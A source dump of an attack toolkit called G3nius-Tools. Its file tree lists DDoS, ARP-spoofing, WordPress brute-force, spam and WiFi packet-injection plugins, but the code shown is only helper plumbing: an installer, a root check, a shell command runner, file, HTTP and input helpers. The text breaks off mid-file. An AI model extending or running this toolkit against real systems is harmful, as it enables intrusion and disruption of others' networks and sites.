├── G3nius-Tools ├── install-uninstall.py ├── launcher.py ├── lib │ ├── GPL │ │ ├── Access_Managers.py │ │ ├── Command_Managers.py │ │ ├── File_Workers.py │ │ ├── HTTP_Managers.py │ │ ├── IO.py │ │ ├── Page_Managers.py │ │ ├── String_Workers.py │ │ ├── Timeout.py │ │ └── attackers │ │ │ ├── cryptography │ │ │ ├── AES.py │ │ │ ├── HEX.py │ │ │ ├── MD5.py │ │ │ ├── MDx.py │ │ │ ├── RSA.py │ │ │ ├── SHA_x.py │ │ │ ├── XOR.py │ │ │ └── base_x.py │ │ │ ├── macro │ │ │ ├── ADB.py │ │ │ ├── Keyboard.py │ │ │ ├── Mouse.py │ │ │ └── Screen.py │ │ │ ├── network │ │ │ ├── ARP_Spoof.py │ │ │ ├── Hostname_To_IP.py │ │ │ ├── ICMP.py │ │ │ ├── IP_Exists.py │ │ │ ├── IP_Forwarding.py │ │ │ ├── IP_Range.py │ │ │ ├── IP_To_MAC.py │ │ │ ├── OS_Detection.py │ │ │ ├── Port_Scanner.py │ │ │ └── System_Info.py │ │ │ ├── protocols │ │ │ ├── SSH.py │ │ │ ├── Service_Version_Name_Scanner.py │ │ │ └── WebServer_Version.py │ │ │ ├── signals │ │ │ └── IEEE_802_11_WiFi │ │ │ │ ├── Captrue.py │ │ │ │ ├── Channel.py │ │ │ │ ├── Check_Requirements.py │ │ │ │ ├── Fake_Packet.py │ │ │ │ ├── Monning.py │ │ │ │ └── Scanning.py │ │ │ └── web │ │ │ └── CMS │ │ │ └── Wordpress.py │ ├── RunLibs │ │ ├── _asyncio.cpython-39-x86_64-linux-gnu.so │ │ ├── _bz2.cpython-39-x86_64-linux-gnu.so │ │ ├── _codecs_cn.cpython-39-x86_64-linux-gnu.so │ │ ├── _codecs_hk.cpython-39-x86_64-linux-gnu.so │ │ ├── _codecs_iso2022.cpython-39-x86_64-linux-gnu.so │ │ ├── _codecs_jp.cpython-39-x86_64-linux-gnu.so │ │ ├── _codecs_kr.cpython-39-x86_64-linux-gnu.so │ │ ├── _codecs_tw.cpython-39-x86_64-linux-gnu.so │ │ ├── _contextvars.cpython-39-x86_64-linux-gnu.so │ │ ├── _ctypes.cpython-39-x86_64-linux-gnu.so │ │ ├── _decimal.cpython-39-x86_64-linux-gnu.so │ │ ├── _lzma.cpython-39-x86_64-linux-gnu.so │ │ ├── _multibytecodec.cpython-39-x86_64-linux-gnu.so │ │ ├── _multiprocessing.cpython-39-x86_64-linux-gnu.so │ │ ├── _opcode.cpython-39-x86_64-linux-gnu.so │ │ ├── _posixshmem.cpython-39-x86_64-linux-gnu.so │ │ ├── _queue.cpython-39-x86_64-linux-gnu.so │ │ ├── _ssl.cpython-39-x86_64-linux-gnu.so │ │ ├── base_library.zip │ │ ├── include │ │ │ └── python3.9 │ │ │ │ └── pyconfig.h │ │ ├── lib │ │ │ └── python3.9 │ │ │ │ └── config-3.9-x86_64-linux-gnu │ │ │ │ └── Makefile │ │ ├── libbz2.so.1.0 │ │ ├── libcrypto.so.1.1 │ │ ├── libexpat.so.1 │ │ ├── libffi.so.7 │ │ ├── liblzma.so.5 │ │ ├── libpython3.9.so.1.0 │ │ ├── libreadline.so.8 │ │ ├── libssl.so.1.1 │ │ ├── libtinfo.so.6 │ │ ├── libz.so.1 │ │ ├── mmap.cpython-39-x86_64-linux-gnu.so │ │ ├── readline.cpython-39-x86_64-linux-gnu.so │ │ ├── resource.cpython-39-x86_64-linux-gnu.so │ │ └── termios.cpython-39-x86_64-linux-gnu.so │ ├── classes │ │ ├── core.py │ │ └── gpl.py │ ├── config │ │ ├── ADB_Keycodes.py │ │ ├── Error_Levels.py │ │ ├── Exit_Codes.py │ │ ├── GPL.py │ │ ├── Main_Configs.py │ │ ├── WiFi_Channels_and_freq.py │ │ └── WiFi_Fake_Packets.py │ ├── core │ │ ├── Check_Supported_OS.py │ │ ├── End_Plugin.py │ │ ├── Error_Handler.py │ │ ├── Exit_Request.py │ │ ├── G3nius_Location.py │ │ ├── OS_Detector.py │ │ ├── Run_File.py │ │ ├── installers │ │ │ ├── check.py │ │ │ └── installer_uninstaller.py │ │ └── main │ │ │ ├── Clean_Temp_Dir.py │ │ │ ├── Do_On_Startup.py │ │ │ ├── Generate_Menu.py │ │ │ ├── Plugin_Launcher.py │ │ │ ├── Restart_G3nius.py │ │ │ └── Statistics.py │ └── packages │ │ └── termcolor.py ├── plugins │ ├── ADB_Controller │ │ ├── Args_Manager.py │ │ ├── Commands_Config.py │ │ ├── Show_Device.py │ │ ├── Title.txt │ │ └── main.py │ ├── ARP_Spoof │ │ ├── Title.txt │ │ └── main.py │ ├── Chatroom │ │ ├── Title.txt │ │ ├── _asyncio.cpython-39-x86_64-linux-gnu.so │ │ ├── _bz2.cpython-39-x86_64-linux-gnu.so │ │ ├── _codecs_cn.cpython-39-x86_64-linux-gnu.so │ │ ├── _codecs_hk.cpython-39-x86_64-linux-gnu.so │ │ ├── _codecs_iso2022.cpython-39-x86_64-linux-gnu.so │ │ ├── _codecs_jp.cpython-39-x86_64-linux-gnu.so │ │ ├── _codecs_kr.cpython-39-x86_64-linux-gnu.so │ │ ├── _codecs_tw.cpython-39-x86_64-linux-gnu.so │ │ ├── _contextvars.cpython-39-x86_64-linux-gnu.so │ │ ├── _ctypes.cpython-39-x86_64-linux-gnu.so │ │ ├── _decimal.cpython-39-x86_64-linux-gnu.so │ │ ├── _lzma.cpython-39-x86_64-linux-gnu.so │ │ ├── _multibytecodec.cpython-39-x86_64-linux-gnu.so │ │ ├── _multiprocessing.cpython-39-x86_64-linux-gnu.so │ │ ├── _opcode.cpython-39-x86_64-linux-gnu.so │ │ ├── _posixshmem.cpython-39-x86_64-linux-gnu.so │ │ ├── _queue.cpython-39-x86_64-linux-gnu.so │ │ ├── _ssl.cpython-39-x86_64-linux-gnu.so │ │ ├── base_library.zip │ │ ├── include │ │ ├── lib │ │ ├── libbz2.so.1.0 │ │ ├── libcrypto.so.1.1 │ │ ├── libexpat.so.1 │ │ ├── libffi.so.7 │ │ ├── liblzma.so.5 │ │ ├── libpython3.9.so.1.0 │ │ ├── libreadline.so.8 │ │ ├── libssl.so.1.1 │ │ ├── libtinfo.so.6 │ │ ├── libz.so.1 │ │ ├── main.py │ │ ├── mmap.cpython-39-x86_64-linux-gnu.so │ │ ├── readline.cpython-39-x86_64-linux-gnu.so │ │ ├── resource.cpython-39-x86_64-linux-gnu.so │ │ ├── termios.cpython-39-x86_64-linux-gnu.so │ │ └── version.txt │ ├── Connector_Talk │ │ ├── Title.txt │ │ ├── _asyncio.cpython-39-x86_64-linux-gnu.so │ │ ├── _bz2.cpython-39-x86_64-linux-gnu.so │ │ ├── _codecs_cn.cpython-39-x86_64-linux-gnu.so │ │ ├── _codecs_hk.cpython-39-x86_64-linux-gnu.so │ │ ├── _codecs_iso2022.cpython-39-x86_64-linux-gnu.so │ │ ├── _codecs_jp.cpython-39-x86_64-linux-gnu.so │ │ ├── _codecs_kr.cpython-39-x86_64-linux-gnu.so │ │ ├── _codecs_tw.cpython-39-x86_64-linux-gnu.so │ │ ├── _contextvars.cpython-39-x86_64-linux-gnu.so │ │ ├── _ctypes.cpython-39-x86_64-linux-gnu.so │ │ ├── _decimal.cpython-39-x86_64-linux-gnu.so │ │ ├── _lzma.cpython-39-x86_64-linux-gnu.so │ │ ├── _multibytecodec.cpython-39-x86_64-linux-gnu.so │ │ ├── _multiprocessing.cpython-39-x86_64-linux-gnu.so │ │ ├── _opcode.cpython-39-x86_64-linux-gnu.so │ │ ├── _posixshmem.cpython-39-x86_64-linux-gnu.so │ │ ├── _queue.cpython-39-x86_64-linux-gnu.so │ │ ├── _ssl.cpython-39-x86_64-linux-gnu.so │ │ ├── base_library.zip │ │ ├── include │ │ ├── lib │ │ ├── libbz2.so.1.0 │ │ ├── libcrypto.so.1.1 │ │ ├── libexpat.so.1 │ │ ├── libffi.so.7 │ │ ├── liblzma.so.5 │ │ ├── libpython3.9.so.1.0 │ │ ├── libreadline.so.8 │ │ ├── libssl.so.1.1 │ │ ├── libtinfo.so.6 │ │ ├── libz.so.1 │ │ ├── main.py │ │ ├── mmap.cpython-39-x86_64-linux-gnu.so │ │ ├── readline.cpython-39-x86_64-linux-gnu.so │ │ ├── requires.txt │ │ ├── resource.cpython-39-x86_64-linux-gnu.so │ │ ├── termios.cpython-39-x86_64-linux-gnu.so │ │ └── version.txt │ ├── DDOSer │ │ ├── HTTP_Attacker.py │ │ ├── ICMP_Attacker.py │ │ ├── Socket_Attacker.py │ │ ├── Status_Holders.py │ │ ├── Title.txt │ │ ├── WiFi_Attacker.py │ │ └── main.py │ ├── GoPremium │ │ ├── Title.txt │ │ ├── main.py │ │ └── version.txt │ ├── Hash_Decoder │ │ ├── Title.txt │ │ └── main.py │ ├── HiddenSSH │ │ ├── Title.txt │ │ └── main.py │ ├── IP2MAC │ │ ├── Title.txt │ │ └── main.py │ ├── LED_CTRL │ │ ├── Title.txt │ │ └── main.py │ ├── PageAdmin_Finder │ │ ├── Config.py │ │ ├── Title.txt │ │ ├── admin-pages.lst │ │ └── main.py │ ├── PasswordList_Generator │ │ ├── Title.txt │ │ └── main.py │ ├── Port_Scanner │ │ ├── Title.txt │ │ └── main.py │ ├── Spamer │ │ ├── Title.txt │ │ └── main.py │ ├── Updater │ │ ├── Title.txt │ │ └── main.py │ ├── WP_Information │ │ ├── Title.txt │ │ └── main.py │ ├── WP_UserFinder │ │ ├── BruteForce.py │ │ ├── Configs.py │ │ ├── Holders.py │ │ ├── Title.txt │ │ └── main.py │ └── WP_loginBruteForce │ │ ├── Configs.py │ │ ├── Found_Login.py │ │ ├── Title.txt │ │ └── main.py ├── requires.txt └── under-Tor.py ├── LICENSE ├── Logo.jpg ├── README.md └── SHA256SUMs.txt /G3nius-Tools/install-uninstall.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # coding: utf-8 3 | 4 | """ libs """ 5 | try: 6 | # external 7 | from os import system, remove, getcwd 8 | from os.path import isdir, isfile 9 | from sys import argv, exit 10 | 11 | # internal 12 | from lib.packages.termcolor import colored 13 | 14 | # core 15 | from lib.core.Check_Supported_OS import Check_Supported 16 | from lib.core.G3nius_Location import G3nius_Location 17 | from lib.core.main.Do_On_Startup import Startup 18 | from lib.core.Error_Handler import Handler 19 | 20 | # GPL 21 | from lib.GPL.Access_Managers import gpl_check_root_needed_with_error 22 | 23 | # configs 24 | import lib.config.Error_Levels as Error_Levels 25 | import lib.config.Exit_Codes as Exit_Codes 26 | 27 | # installers 28 | from lib.core.installers.installer_uninstaller import Install_G3nius, Uninstall_G3nius, Reinstall_G3nius 29 | from lib.core.installers.check import Check_Installtion_G3nius 30 | except ModuleNotFoundError: 31 | print('\x1b[0;31m[!] Some depends not installed.') 32 | print('Run "pip install -r requires.txt"\x1b[0m') 33 | else: 34 | Startup() 35 | Check_Supported(Linux=True) 36 | gpl_check_root_needed_with_error(Exit_Codes.CanNotExecute) 37 | if '-h' in argv or '--help' in argv or len(argv) == 1: 38 | # help page 39 | print('\x1b[0;29mHelp Page for installer/uninstaler:\x1b[0m\n\n') 40 | print(colored('-h', 'green') + colored(' , ', 'green') + colored('--help', 'green') + '\t~>\t' + colored('Show help page.', 'white')) 41 | print(colored('-c', 'green') + colored(' , ', 'green') + colored('--check', 'green') + '\t~>\t' + colored('Check status of installion.', 'white')) 42 | print(colored('-i', 'green') + colored(' , ', 'green') + colored('--install', 'green') + '\t~>\t' + colored('Install G3nius-Tools.', 'white')) 43 | print(colored('-un', 'green') + colored(' , ', 'green') + colored('--uninstall', 'green') + '\t~>\t' + colored('Uninstall G3nius-Tools.', 'white')) 44 | print(colored('\n\nDefault installion path:', 'green')) 45 | print(colored('\t/usr/share/G3nius-Tools', 'blue')) 46 | elif '-c' in argv or '--check' in argv: 47 | # check installion 48 | Check_Installtion_G3nius() 49 | elif '-i' in argv or '--install' in argv: 50 | # install 51 | Install_G3nius() 52 | elif '-un' in argv or '--uninstall' in argv: 53 | # uninstall 54 | Uninstall_G3nius() 55 | else: 56 | Handler(Error_Levels.Failed_Job, "Invalid parameters!") 57 | exit(Exit_Codes.InvalidArgument) 58 | exit(Exit_Codes.Normal) -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/Access_Managers.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # external 3 | import os, ctypes 4 | 5 | # internal 6 | from lib.core.Error_Handler import Handler 7 | import lib.config.Error_Levels as Error_Levels 8 | from lib.core.End_Plugin import End_Plugin 9 | from lib.core.Exit_Request import Exit_Request 10 | 11 | """ GPL """ 12 | def gpl_check_is_root(): 13 | try: 14 | Is_admin = os.getuid() == 0 15 | except AttributeError: 16 | Is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 17 | if Is_admin: 18 | return True 19 | else: 20 | return False 21 | 22 | def gpl_check_root_needed_with_error(text='Access denie! Run again as Root.', description=None, end_plugin=False, exit_code=None, before_exit_text=None): 23 | if not gpl_check_is_root(): 24 | Handler(Error_Levels.High, text, description) 25 | if end_plugin: 26 | End_Plugin() 27 | elif exit_code != None: 28 | Exit_Request(exit_code, text_after_clear=before_exit_text) -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/Command_Managers.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | from os import popen 3 | 4 | # configs, add to end command 5 | NoOutPut = ' 1> /dev/null 2>&1' 6 | return_ERROR_if_error = " || echo 'ERROR'" 7 | Under_NoHup = 'nohup ' 8 | Without_Error = ' 2> /dev/null' 9 | 10 | # Run list of OS commands 11 | # 12 | # modules: 13 | # from os import popen 14 | # 15 | # version: 16 | # 1 17 | def gpl_run_OS_command(Commands): 18 | if type(Commands) == str: 19 | OutPut = popen(Commands).read() 20 | if len(OutPut) > 1 and OutPut[-1] == "\n": 21 | OutPut = OutPut[:-1] 22 | return OutPut 23 | elif type(Commands) == list: 24 | OutPuts = [] 25 | for Command in Commands: 26 | OutPut = popen(Command).read() 27 | if len(OutPut) > 1 and OutPut[-1] == "\n": 28 | OutPut = OutPut[:-1] 29 | OutPuts.append(OutPut) 30 | return OutPuts 31 | 32 | 33 | # check existing command 34 | # 35 | # internal modules: 36 | # gpl_run_OS_command 37 | # 38 | # version: 39 | # 1 40 | def gpl_check_command_exists(Commands, Custom_PATH=None): 41 | if type(Commands) == str: 42 | Commands = [Commands] 43 | for Command in Commands: 44 | if Custom_PATH != None: 45 | OutPut = gpl_run_OS_command('PATH=' + Custom_PATH + NoOutPut + ' && whereis ' + Command) 46 | else: 47 | OutPut = gpl_run_OS_command('whereis ' + Command) 48 | if len(OutPut) == len(Command) + 1: 49 | return False 50 | return True -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/File_Workers.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # internal 3 | from lib.GPL.IO import gpl_input, gpl_sleep, gpl_confirm 4 | import lib.config.Error_Levels as Error_Levels 5 | from lib.core.Error_Handler import Handler 6 | from lib.core.Exit_Request import Exit_Request 7 | from lib.GPL.Page_Managers import gpl_clear_and_banner 8 | 9 | # external 10 | from os import remove, mkdir 11 | from os.path import exists, isfile, isdir 12 | from shutil import rmtree 13 | 14 | # Configs 15 | import lib.config.Exit_Codes as Exit_Codes 16 | 17 | """ GPL """ 18 | 19 | # ask load from file 20 | # 21 | # internal modules: 22 | # gpl_clear_and_banner 23 | # gpl_input 24 | # gpl_sleep 25 | # 26 | # version: 27 | # 3 28 | def gpl_ask_load_from_file(ask_address_text='Enter address/name of file to load (q to exit): ', just_ask=False, read_lines=False, read_content=False, read_bytes=False): 29 | while True: 30 | # Get URI from user 31 | FileName = gpl_input(ask_address_text) 32 | if not exists(FileName): 33 | # file not exists 34 | Handler(Error_Levels.Failed_Job, 'File not exists or not a file!') 35 | gpl_sleep() 36 | elif isfile(FileName): 37 | if just_ask: 38 | return FileName 39 | elif read_lines: 40 | return gpl_read_from_file(FileName, read_lines=True) 41 | elif read_bytes: 42 | return gpl_read_from_file(FileName, read_bytes=True) 43 | else: 44 | return gpl_read_from_file(FileName) 45 | else: 46 | # Selected URI is directory 47 | Handler(Error_Levels.Failed_Job, "It's a directory. should be a file.") 48 | gpl_sleep() 49 | 50 | 51 | 52 | # ask save to file 53 | # 54 | # internal modules: 55 | # gpl_input 56 | # gpl_clear 57 | # gpl_sleep 58 | # 59 | # version: 60 | # 2 61 | def gpl_ask_save_to_file(ask_address_text='Enter address/name of file to save (q to exit): ', just_ask=False, data=''): 62 | while True: 63 | gpl_clear_and_banner() 64 | FileName = gpl_input(ask_address_text) 65 | if not exists(FileName): 66 | if just_ask: 67 | return FileName 68 | else: 69 | return gpl_write_to_file(FileName, data) 70 | elif isdir(FileName): 71 | # FileName is a directory 72 | Handler(Error_Levels.Failed_Job, 'This is a directory. Should be file.') 73 | gpl_sleep() 74 | elif isfile(FileName): 75 | # FileName already exists 76 | gpl_clear_and_banner() 77 | choose = gpl_confirm('This is a file, Overwrite [y/n/q] ? ', default_return_value=False) 78 | if choose: 79 | if just_ask: 80 | return FileName 81 | else: 82 | return gpl_write_to_file(FileName, data) 83 | 84 | 85 | 86 | 87 | # Read from file 88 | # 89 | # internal modules (core) 90 | # Handler 91 | # Exit_Request 92 | # 93 | # configs 94 | # Error_Levels 95 | # 96 | # version 97 | # 2 98 | def gpl_read_from_file(FileName, read_bytes=False, read_lines=False, remove_newlines=True, encoding='UTF-8', on_access_failed_text=None, on_access_failed_description_text=None, show_error=True): 99 | try: 100 | if read_bytes: 101 | File = open(FileName, 'rb') 102 | else: 103 | File = open(FileName, 'r', encoding=encoding) 104 | if read_lines: 105 | Lines = File.readlines() 106 | if remove_newlines: 107 | # remove \n end of lines 108 | for i in range(0, len(Lines)): 109 | if Lines[i][-1] == "\n": 110 | Lines[i] = Lines[i][:-1] 111 | Content = Lines 112 | del Lines, i 113 | else: 114 | Content = File.read() 115 | File.close() 116 | return Content 117 | except (KeyboardInterrupt, EOFError): 118 | if show_error: 119 | Handler(Error_Levels.Failed_Job, 'Cant read file. Check file permissions.') 120 | Exit_Request(Exit_Codes.CTRL_C, 'Exit with user request.') 121 | except: 122 | if on_access_failed_text != None: 123 | Handler(Error_Levels.Failed_Job, on_access_failed_text, on_access_failed_description_text) 124 | return False 125 | 126 | 127 | 128 | # write to file 129 | # 130 | # version 131 | # 3 132 | def gpl_write_to_file(FileName: str, data, append=False, on_access_error_text='File not have enough access to write.', on_accesss_error_text_description=None): 133 | if type(data) == str: 134 | # Write string 135 | try: 136 | if append: 137 | File = open(FileName, 'a') 138 | else: 139 | File = open(FileName, 'w') 140 | File.write(data) 141 | except: 142 | Handler(Error_Levels.Failed_Job, on_access_error_text, on_accesss_error_text_description) 143 | gpl_sleep() 144 | else: 145 | File.close() 146 | return True 147 | elif type(data) == bytes: 148 | # Write bytes 149 | try: 150 | if append: 151 | File = open(FileName, 'ab') 152 | else: 153 | File = open(FileName, 'wb') 154 | File.write(data) 155 | except: 156 | Handler(Error_Levels.Failed_Job, on_access_error_text, on_accesss_error_text_description) 157 | gpl_sleep() 158 | else: 159 | File.close() 160 | return True 161 | else: 162 | raise Exception('Argument called "data" must be string or bytes!') 163 | 164 | 165 | 166 | # remove file 167 | # 168 | # External: 169 | # from os import remove 170 | # 171 | # version 172 | # 2 173 | def gpl_remove_file(FileName): 174 | try: 175 | remove(FileName) 176 | except: 177 | return False 178 | else: 179 | return True 180 | 181 | 182 | 183 | # create directory 184 | # 185 | # External: 186 | # from os import mkdir 187 | # 188 | # version 189 | # 2 190 | def gpl_make_directory(Address): 191 | try: 192 | mkdir(Address) 193 | except: 194 | return False 195 | else: 196 | return True 197 | 198 | 199 | 200 | # remove directory 201 | # 202 | # External: 203 | # from shutil import rmtree 204 | # 205 | # Note: 206 | # Directory and all of data will be removed 207 | # 208 | # version 209 | # 2 210 | def gpl_remove_directory(DirName): 211 | try: 212 | rmtree(DirName) 213 | except: 214 | return False 215 | else: 216 | return True -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/HTTP_Managers.py: -------------------------------------------------------------------------------- 1 | # libs 2 | from requests import get, post 3 | 4 | 5 | # http get 6 | # 7 | # external: 8 | # from requests import get 9 | # 10 | # note: 11 | # don't manage CTRL+C CTRL+D 12 | # 13 | # version 14 | # 2 15 | def gpl_http_get(URL, params={}, retry_on_503=True, session=None, retry_to_get_valid_response_and_status_code=True, ok_http_codes=[], timeout=None, cookies={}, headers={}, json=None, on_timeout_text=None, on_invalid_http_code_retry_text=None): 16 | while retry_to_get_valid_response_and_status_code: 17 | # once get 18 | try: 19 | if session: 20 | if len(headers) > 0: 21 | response = session.get(URL, params=params, timeout=timeout, cookies=cookies, headers=headers, json=json) 22 | else: 23 | response = session.get(URL, params=params, timeout=timeout, cookies=cookies, json=json) 24 | else: 25 | if len(headers) > 0: 26 | response = get(URL, params=params, timeout=timeout, cookies=cookies, headers=headers, json=json) 27 | else: 28 | response = get(URL, params=params, timeout=timeout, cookies=cookies, json=json) 29 | except TimeoutError: 30 | if on_timeout_text: 31 | print(on_timeout_text) 32 | if not retry_to_get_valid_response_and_status_code: 33 | return False 34 | except: 35 | return None 36 | else: 37 | if len(ok_http_codes) == 0 or response.status_code in ok_http_codes: 38 | # on 502 retry 39 | if retry_on_503 and response.status_code != 503: 40 | return response 41 | elif not retry_on_503: 42 | return response 43 | elif on_invalid_http_code_retry_text: 44 | print(on_invalid_http_code_retry_text) 45 | 46 | # http post 47 | # 48 | # external: 49 | # from requests import post 50 | # 51 | # note: 52 | # don't manage CTRL+C CTRL+D 53 | # 54 | # version 55 | # 2 56 | def gpl_http_post(URL, payload={}, retry_on_503=True, session=None, retry_to_get_valid_response_and_status_code=True, ok_http_codes=[], timeout=None, cookies={}, headers={}, json=None, on_timeout_text=None, on_invalid_http_code_retry_text=None): 57 | while retry_to_get_valid_response_and_status_code: 58 | # once get 59 | try: 60 | if session: 61 | if len(headers) > 0: 62 | response = session.post(URL, data=payload, timeout=timeout, cookies=cookies, headers=headers, json=json) 63 | else: 64 | response = session.post(URL, data=payload, timeout=timeout, cookies=cookies, json=json) 65 | else: 66 | if len(headers) > 0: 67 | response = post(URL, data=payload, timeout=timeout, cookies=cookies, headers=headers, json=json) 68 | else: 69 | response = post(URL, data=payload, timeout=timeout, cookies=cookies, json=json) 70 | except TimeoutError: 71 | if on_timeout_text: 72 | print(on_timeout_text) 73 | if retry_to_get_valid_response_and_status_code: 74 | return False 75 | except Exception as ex: 76 | print(ex) 77 | return None 78 | else: 79 | if len(ok_http_codes) == 0 or response.status_code in ok_http_codes: 80 | # on 502 retry 81 | if retry_on_503 and response.status_code != 503: 82 | return response 83 | elif not retry_on_503: 84 | return response 85 | elif on_invalid_http_code_retry_text: 86 | print(on_invalid_http_code_retry_text) 87 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/IO.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # External 3 | from re import match 4 | from time import sleep 5 | from ipaddress import ip_address 6 | from lib.packages.termcolor import colored 7 | 8 | # Internal 9 | from lib.GPL.HTTP_Managers import gpl_http_get 10 | from lib.GPL.Page_Managers import gpl_clear_and_banner, gpl_clear 11 | from lib.core.Error_Handler import Handler 12 | from lib.core.Exit_Request import Exit_Request 13 | 14 | # Configs 15 | import lib.config.Exit_Codes as Exit_Codes 16 | import lib.config.Error_Levels as Error_Levels 17 | from lib.config.Main_Configs import Default_Sleep_Time 18 | 19 | """ GPL """ 20 | 21 | # input data safely 22 | # 23 | # modules: 24 | # from sys import exit 25 | # from termcolor import colored 26 | # from ipaddress import ip_address 27 | # 28 | # internal modules: 29 | # gpl_sleep 30 | # gpl_clear 31 | # gpl_clear_and_banner 32 | # gpl_get 33 | # 34 | # version: 35 | # 2 36 | def gpl_input(text: str, dont_style=False, clear_and_banner_before=True, on_invalid_after_clear_text=None, clear_before=False, q_to_exit=True, clear_and_banner_when_exit=True, clear_when_exit=False, get_int=False, get_URL=False, get_float=False, get_port=False, get_ip=False, get_MAC=False, get_plus_number=False, on_invalid_clear_and_banner=True): 37 | if clear_and_banner_before and (not clear_before): 38 | gpl_clear_and_banner() 39 | elif clear_before: 40 | gpl_clear() 41 | try: 42 | while True: 43 | if dont_style: 44 | choose = input(text) 45 | else: 46 | choose = input(colored(text, 'white')) 47 | if q_to_exit and (str.lower(choose) == 'q' or str.lower(choose) == 'exit'): 48 | if clear_when_exit: 49 | gpl_clear() 50 | elif clear_and_banner_when_exit: 51 | gpl_clear_and_banner() 52 | Exit_Request(Exit_Codes.Normal, text_after_clear=colored('Exit with user request.', 'yellow')) 53 | else: 54 | if get_float: 55 | try: 56 | choose = float(choose) 57 | except: 58 | Handler(Error_Levels.High, 'Invalid number!') 59 | gpl_sleep() 60 | if on_invalid_clear_and_banner: 61 | gpl_clear_and_banner() 62 | if on_invalid_after_clear_text: 63 | print(on_invalid_after_clear_text) 64 | else: 65 | return choose 66 | elif get_int or get_port or get_plus_number: 67 | try: 68 | choose = int(choose) 69 | except: 70 | Handler(Error_Levels.High, 'Invalid number!') 71 | gpl_sleep() 72 | if on_invalid_clear_and_banner: 73 | gpl_clear_and_banner() 74 | if on_invalid_after_clear_text: 75 | print(on_invalid_after_clear_text) 76 | else: 77 | if get_port: 78 | if choose > 0 and choose <= 65535: 79 | return choose 80 | else: 81 | Handler(Error_Levels.High, 'Invalid port number, can be range of 1-65535') 82 | elif get_plus_number: 83 | if choose > 0: 84 | return choose 85 | else: 86 | Handler(Error_Levels.High, "Number can't be <= 0, Enter a plus number.") 87 | else: 88 | return choose 89 | elif get_ip: 90 | try: 91 | ip_address(choose) 92 | except: 93 | Handler(Error_Levels.High, "Invalid IP address!") 94 | gpl_sleep() 95 | if on_invalid_clear_and_banner: 96 | gpl_clear_and_banner() 97 | if on_invalid_after_clear_text: 98 | print(on_invalid_after_clear_text) 99 | else: 100 | return choose 101 | elif get_MAC: 102 | if match("^(?:[0-9A-Fa-f]{2}[:-]){5}(?:[0-9A-Fa-f]{2})$", choose): 103 | return choose 104 | else: 105 | Handler(Error_Levels.High, "Invalid MAC address!") 106 | gpl_sleep() 107 | if on_invalid_clear_and_banner: 108 | gpl_clear_and_banner() 109 | if on_invalid_after_clear_text: 110 | print(on_invalid_after_clear_text) 111 | elif get_URL: 112 | if gpl_http_get(choose) != None: 113 | return choose 114 | else: 115 | Handler(Error_Levels.Failed_Job, 'Invalid URL or problem to connection !') 116 | else: 117 | return choose 118 | except (KeyboardInterrupt, EOFError): 119 | Exit_Request(Exit_Codes.CTRL_C, text_after_clear=colored('Exit with user request.', 'yellow')) 120 | 121 | 122 | 123 | # while input 124 | # 125 | # modules: 126 | # from sys import exit 127 | # from termcolor import colored 128 | # 129 | # internal modules: 130 | # gpl_clear 131 | # gpl_input 132 | # gpl_sleep 133 | # 134 | # notes: 135 | # 136 | # return value start from 1 137 | # gpl_clear will be run before 138 | # 139 | # version: 140 | # 2 141 | def gpl_while_input(title: str, list_of_chooses: list, exit_option=True): 142 | if exit_option: 143 | list_of_chooses.append('Exit (or "q").') 144 | while True: 145 | gpl_clear_and_banner() 146 | print(colored(title, 'white')) 147 | i = 0 148 | for option in list_of_chooses: 149 | i += 1 150 | print("\t" + colored(str(i), 'green') + ' ' + colored(option, 'magenta')) 151 | choose = gpl_input("\nNumber of choose : ", clear_and_banner_before=False) 152 | try: 153 | choose = int(choose) 154 | except: 155 | Handler(Error_Levels.High, 'Invalid number!') 156 | gpl_sleep(1) 157 | continue 158 | else: 159 | if choose <= 0 or choose > len(list_of_chooses): 160 | Handler(Error_Levels.High, 'Invalid number!') 161 | gpl_sleep(1) 162 | continue 163 | if exit_option and choose == len(list_of_chooses): 164 | Exit_Request(Exit_Codes.Normal, text_after_clear='Exit with user request.') 165 | else: 166 | list_of_chooses.pop() 167 | return choose 168 | 169 | 170 | 171 | # sleep 172 | # 173 | # modules: 174 | # from time import sleep 175 | # from sys import exit 176 | # 177 | # version: 178 | # 2 179 | def gpl_sleep(time_by_sec=Default_Sleep_Time): 180 | try: 181 | sleep(time_by_sec) 182 | except (KeyboardInterrupt, EOFError): 183 | Exit_Request(Exit_Codes.Normal, text_after_clear='Exit with user request.') 184 | 185 | 186 | # confirm 187 | # 188 | # modules: 189 | # gpl_sleep 190 | # 191 | # version: 192 | # 1 193 | def gpl_confirm(text: str, default_return_value=None, clear_and_banner_before=True): 194 | while True: 195 | Choose = str.lower(gpl_input(colored('[?] ', 'green') + text + ' [y/n/q] ? ', dont_style=True, clear_and_banner_before=clear_and_banner_before)) 196 | if Choose == 'n' or Choose == 'no': 197 | return False 198 | elif Choose == 'y' or Choose == 'yes': 199 | return True 200 | else: 201 | if default_return_value != None and len(Choose) == 0: 202 | return default_return_value 203 | else: 204 | print(colored('[!] ', 'red') + colored('Invalid Choose! type once y/yes/n/no/q/exit', 'yellow')) 205 | gpl_sleep(1) 206 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/Page_Managers.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # external 3 | from os import name,popen 4 | from sys import version_info 5 | # internal 6 | from lib.packages.termcolor import colored 7 | from lib.GPL.String_Workers import gpl_fix_spases 8 | from lib.core.OS_Detector import OS 9 | 10 | """ Local variable """ 11 | Banner_Version = None 12 | 13 | """ GPL """ 14 | 15 | # Clear Page 16 | # 17 | # modules: 18 | # import os 19 | # from termcolor import colored 20 | # 21 | # version: 22 | # 3 23 | def gpl_clear(clear_on_unsuported_OS=True,on_unsuported_OS_text="New page is here:\n-----------------"): 24 | global OS 25 | if OS == 'Linux': 26 | print('\033c') 27 | elif OS == 'Windows': 28 | print(popen('cls').read()) 29 | elif clear_on_unsuported_OS: 30 | print(colored(on_unsuported_OS_text, 